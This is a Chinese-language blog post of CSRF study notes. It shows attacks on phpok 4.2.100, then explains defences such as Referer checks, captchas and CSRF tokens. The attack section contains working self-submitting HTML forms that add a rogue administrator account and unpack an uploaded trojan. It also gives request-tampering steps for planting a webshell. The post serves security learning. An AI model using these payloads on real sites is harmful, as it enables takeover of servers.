CSRF全称Cross Site Request Forgery，即跨站点请求伪造。我们知道，攻击时常常伴随着各种各样的请求，而攻击的发生也是由各种请求造成的。

　　CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求。

　　

　　 CSRF能做的事情大概如下：

　　1）篡改目标网站上的用户数据；　　　　
　　2）盗取用户隐私数据；
　　3）作为其他攻击向量的辅助攻击手法；
　　4）传播CSRF蠕虫。

　　

（1）版本4.2.100：

在phpok该版本的后台提交如下POST请求可以添加管理员：

 POST /phpok/admin.php?c=admin&f=save HTTP/1.1

 Host: www.goal.com

 …

 Cookie: …

 （空一行）

 id=…&accont=…&pass=…&status=…&if_system=…

由以上http头部可看出，此为添加管理员的请求，只有管理员能够执行。

攻击者可以构造如下页面：

 <html>

     <div style="display:none">

         <form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">

             <input type="hidden" name="id" value=""/>

             <input type="hidden" name="account" value=""/>

             <input type="hidden" name="pass" value=""/>

             <input type="hidden" name="email" value=""/>

             <input type="hidden" name="status" value=""/>

             <input type="hidden" name="if_system" value=""/>

             <input type="submit" name="up" value="submit"/>

         </form>

         <script>

             var t = document.poc;

             t.account.value="wooyun";

             t.pass.value="123456";

             t.status.value="1";

             t.if_system.value="1";

             document.poc.submit();

         </script>

     </div>

 </html>

当管理员访问攻击者制作的页面时，此时会通过javascript脚本来生成一个表单对象，来通过表单标签的id属性来调用表单，为表单赋值。

此时添加账户名t.account.value = "wooyun"，此时新添加的管理员的名字将成为wooyun。

赋值结束后将通过document.poc.submit()函数来自动提交表单到受攻击的站点，此时由于管理员对于被攻击站点已经保存有cookie，则此时会直接添加新的管理员。

攻击发生之前：

管理员在登录的情况下访问攻击者的页面之后，如图：

可以看到，成功添加了一名管理员。

攻击到这里就结束了吗？并没有！攻击者利用CSRF漏洞成功进入了后台，他还要想办法GetShell！

在后台风格管理-创建模板文件的地方添加一个模板，通过抓包改包的方式绕过前端对文件类型的判断（由于判断文件类型是通过前端js，所以可通过抓包改包），如图：

把GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

改为GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

可以看到成功添加了.php文件：

然后在编辑文件内容为一句话木马即可：

2）还是4.2.100...

刚才我们是通过CSRF先进入后台，然后利用后台的其他漏洞GetShell,这次我们直接在前台利用CSRF漏洞去GetShell怎么样？

phpok的前台可以上传.zip文件，我们把木马文件test.php压缩为test.zip；

注册一个账号，进入修改资料页面；

选择一个正常的图片，截获数据，如图：

然后修改数据，如图：

成功上传.zip文件，记录下文件id号，这里是739。

在后台的程序升级-ZIP离线包升级中的升级操作存在CSRF漏洞，演示如图

于是攻击者可以构造如下页面：

 <html>

     <form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">

         <input type="hidden" name="zipfile" value=""/>

         <input type="hidden" name="file" value=""/>

         <input type="submit" name="up" value="submit"/>

     </form>

     <script>

         var t = document.poc;

         t.zipfile.value="739";

         t.file.value="739";

         document.poc.submit();

     </script>

 </html>

管理员登录后台后访问攻击者的页面，如图：

可以看到我们的木马文件已经上传到服务器上了。

这次攻击，我们根本没有进入后台，而是利用一个CSRF漏洞直接就拿到了Webshell，由此可以看出CSRF在某些场景下的威力之大，根本不亚于SQL注入和文件上传这样的漏洞。

CSRF的防御：

首先是“跨域”，我们发现CSRF攻击的请求都是跨域的，针对这一特点，我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下，用户提交的都是站内的请求，其Referer中的来源地址应该是站内的地址。至关重要的一点是，前端的JavaScript无法修改Referer字段，这也是这种防御方法成立的条件。

不过需要说明的是，有的时候请求并不需要跨域，比如我们后面讲到的结合XSS进行攻击的时候，有的时候甚至没有Referer字段…，这些也是使用这种防御方法的弊病所在。

第二点是“伪造”，这也是CSRF攻击的核心点，即伪造的请求。我们来想一下，攻击者为什么能够伪造请求呢？换句话说，攻击者能够伪造请求的条件是什么呢？纵观之前我们伪造的所有请求，无一例外，请求中所有参数的值都是我们可以预测的，如果出现了攻击者无法预测的参数值，那么将无法伪造请求，CSRF攻击也不会发生。基于这一点，我们有了如下两种防御方法：

  1. 添加验证码；

  2. 使用一次性token

先看看第一种。验证码的核心作用是区分人和机器，而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的，属于机器发出的请求，攻击者无法预知验证码的值，所以使用验证码可以很好地防御CSRF攻击，但毫无疑问，验证码会一定程度地影响用户体验，所以我们要在安全和用户体验之间找到一个平衡点。

再看看第二种方法。所谓token是一段字母数字随机值，我们可以把它理解为一个服务端帮我们填好的验证码！每当我们访问该页面时，服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中，当我们提交表单时，token会作为一个参数提交到服务端进行验证。在这个请求过程中，token的值也是攻击者无法预知的，而且由于同源策略的限制，攻击者也无法使用JavaScript获取其他域的token值，所以这种方法可以成功防御CSRF攻击，也是现在用的最多的防御方式。

但是，需要注意的一点是，token的生成一定要随机，即不能被攻击者预测到，否则这种防御将形同虚设。另外，token如果作为GET请求的参数在url中显示的话，很容易在Referer中泄露。还有更重要的一点：如果在同域下存在XSS漏洞，那么基于token的CSRF防御将很容易被击破，我们后面再说。

除了“跨域”和“伪造”两点，我们还可以注意到CSRF在攻击时间上的特点：CSRF攻击都是在受害者已经完成身份认证之后发生的，这是由CSRF攻击的目的所决定的。基于这一点，我们还可以想出一些缓解CSRF攻击的方法（注意是缓解），比如缩短Session的有效时间等等，可能一定程度上会降低CSRF攻击的成功率。

总结一下上面的防御方法如下：

  1. 验证Referer；（Referer中的来源地址应该是站内的地址。至关重要的一点是，前端的JavaScript无法修改Referer字段）

  2. 使用验证码；（由机器发出请求，验证码不可预测）

  3. 使用CSRF token；（用户拥有令牌token，但是攻击者没有）

  4. 限制Session生命周期。

CSRF token最大弊病：随机性不够好或通过各种方式泄露，此外，在大型的服务中需要一台token生成及校验的专用服务器，需要更改所有表单添加的字段，有时效性的问题。

												


											
csrf学习笔记的更多相关文章
	

    
						
  1. 初探csrf学习笔记
		
    以下是学习了对CSRF的理解,大家切勿作为标准,如有出错请告之! 严禁转载.不想拿自己刚学到的知识去[误人子弟]之所以写出来是让自己巩固和增加理解,他日对此文有不当之处自会修改. [00x1]csrf ...
    
		
    2. 
								
  2. CSRF学习笔记之CSRF的防御【00x4】
		
    referer 验证 根据HTTP协议,在http请求头中包含一个referer的字段,这个字段记录了该http请求的原地址.通常情况下,执行转账操作的post请求www.bank.com/trans ...
    
		
    3. 
						
  3. CSRF学习笔记之CSRF的攻击与防御以及审计【00x3】
		
    Hight.php完整代码如下: <?php if (isset($_GET['Change'])) { // Turn requests into variables $pass_curr = ...
    
		
    4. 
						
  4. CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
		
    +++++++++++++++++++++++++++ + 00x1 实现简单的攻击 + 00x2 代码审计漏洞的源头 +++++++++++++++++++++++++++ 00x1 简单的csrf ...
    
		
    5. 
						
  5. CSRF 学习笔记
		
    1:什么是CSRF: 假设有一个支付网站:www.xx.com 向小明同学付款1000元数据包: www.xx.com/pay.php?name=xiaoming&account=xxxx@q ...
    
		
    6. 
						
  6. CSRF学习笔记之CSRF的攻击与防御以及审计【00x2 】
		
    Medium完整代码: <?php if (isset($_GET['Change'])) { // Checks the http referer header if ( eregi ( &q ...
    
		
    7. 
						
  7. Web 学习笔记 - 网络安全
		
    前言 作为 前端开发者,了解一点 Web 安全方面的基本知识是有很必要的,未必就要深入理解.本文主要介绍常见的网络攻击类型,不作深入探讨. 正文 网络攻击的形式种类繁多,从简单的网站敏感文件扫描.弱口 ...
    
		
    8. 
						
  8. SpringBoot + Spring Security 学习笔记（五）实现短信验证码+登录功能
		
    在 Spring Security 中基于表单的认证模式,默认就是密码帐号登录认证,那么对于短信验证码+登录的方式,Spring Security 没有现成的接口可以使用,所以需要自己的封装一个类似的 ...
    
		
    9. 
						
  9. SpringBoot + Spring Security 学习笔记（三）实现图片验证码认证
		
    整体实现逻辑 前端在登录页面时,自动从后台获取最新的验证码图片 服务器接收获取生成验证码请求,生成验证码和对应的图片,图片响应回前端,验证码保存一份到服务器的 session 中 前端用户登录时携带当 ...
    
		
    10. 
		

	


随机推荐
	

    
									
  1. [BZOJ1507] [NOI2003] Editor (splay)
			
    Description Input 输入文件editor.in的第一行是指令条数t,以下是需要执行的t个操作.其中: 为了使输入文件便于阅读,Insert操作的字符串中可能会插入一些回车符,请忽略掉它 ...
    
			
    2. 
						
  2. 解决Android Studio 3.0导入module依赖后unable to merge index
			
    解决Android Studio 3.0导入module依赖后unable to merge index 项目需要使用im, 在项目里导入了腾讯im的几个module依赖, 项目无法编译, 报错una ...
    
			
    3. 
						
  3. IDEA 使用tomcat7-maven-plugin
			
    使用了这个插件就不需要配置tomcat了,直接用maven去run就行 配置方法:pom里添加:(之所以用tomcat7是因为如果直接用依赖下载很难下载到tomcat8-maven-plugin,详情 ...
    
			
    4. 
						
  4. NancyFX 第十二章 通道截拦
			
    所有的好的Web框架都有一套好的通道截拦的机制,Nancy在我看来是处理最好的.那什么是请求通道那?下面的图可能说的比较清楚些: 正如名称中描述的,一个典型的Web请求在到达最终响应前会穿过一定数量的 ...
    
			
    5. 
						
  5. NancyFX 第十章 身份验证
			
    如果你在采用某个Web框架来构建一个公共使用的Web服务,你可能需要对谁能访问上述的服务进行某种方式的控制. 它可能很简单,只需要在调用API时在HTTP头信息中加入一个验证字段,或者需要构建一个完善 ...
    
			
    6. 
						
  6. 简简单单把event loop说清楚
			
    event loop这东西,确实把我坑了一把,面试的时候被问到这个问题的时候,我是懵逼的,完全不知道怎么回答,而当我回来查到原来这个听起来如此玄乎又厉害的名字就是异步和单线程那块的知识的时候,我心情又 ...
    
			
    7. 
						
  7. 为什么覆写equals必须要覆写hashCode？
			
    ============================================= 原文链接: 为什么覆写equals必须要覆写hashCode? 转载请注明出处! ============= ...
    
			
    8. 
						
  8. [转][RabbitMQ+Python入门经典] 兔子和兔子窝
			
    [转][RabbitMQ+Python入门经典] 兔子和兔子窝 http://blog.csdn.net/linvo/article/details/5750987 RabbitMQ作为一个工业级的消 ...
    
			
    9. 
						
  9. 手机端原生js实现下拉刷新数据
			
    HTML结构如下: <div class="outerScroller comment"> <div class='scroll comment'> < ...
    
			
    10. 
						
  10. 前端dom元素的操作优化建议
			
    参考自:http://blog.csdn.net/xuexiaodong009/article/details/51810252 其实在web开发中,单纯因为js导致性能问题的很少,主要都是因为DOM ...
    
			
    11.